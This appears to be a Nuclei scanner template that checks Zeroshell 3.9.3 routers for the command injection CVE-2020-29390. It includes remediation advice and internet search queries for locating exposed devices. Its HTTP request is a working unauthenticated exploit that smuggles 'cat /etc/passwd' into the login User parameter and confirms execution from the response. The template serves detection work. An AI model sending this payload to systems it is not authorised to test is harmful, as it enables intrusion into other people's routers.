CVE-2020-29390: Zeroshell 3.9.3 - Command Injection

id: CVE-2020-29390

info:
  name: Zeroshell 3.9.3 - Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Zeroshell 3.9.3 contains a command injection vulnerability in the /cgi-bin/kerbynet StartSessionSubmit parameter that could allow an unauthenticated attacker to execute a system command by using shell metacharacters and the %0a character.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to the latest version of Zeroshell or apply security patches provided by the vendor.
  reference:
    - https://web.archive.org/web/20210303043709/https://blog.quake.so/post/zeroshell_linux_router_rce/
    - https://www.exploit-db.com/exploits/41040
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29390
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29390
    cwe-id: CWE-78
    epss-score: 0.87951
    epss-percentile: 0.9945
    cpe: cpe:2.3:o:zeroshell:zeroshell:3.9.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeroshell
    product: zeroshell
    shodan-query: http.title:"zeroshell"
    fofa-query: title="zeroshell"
    google-query: intitle:"zeroshell"
  tags: cve,cve2020,zeroshell,rce,router

http:
  - raw:
      - |
        GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW= HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "<title>Start Session</title>"

      - type: status
        status:
          - 200
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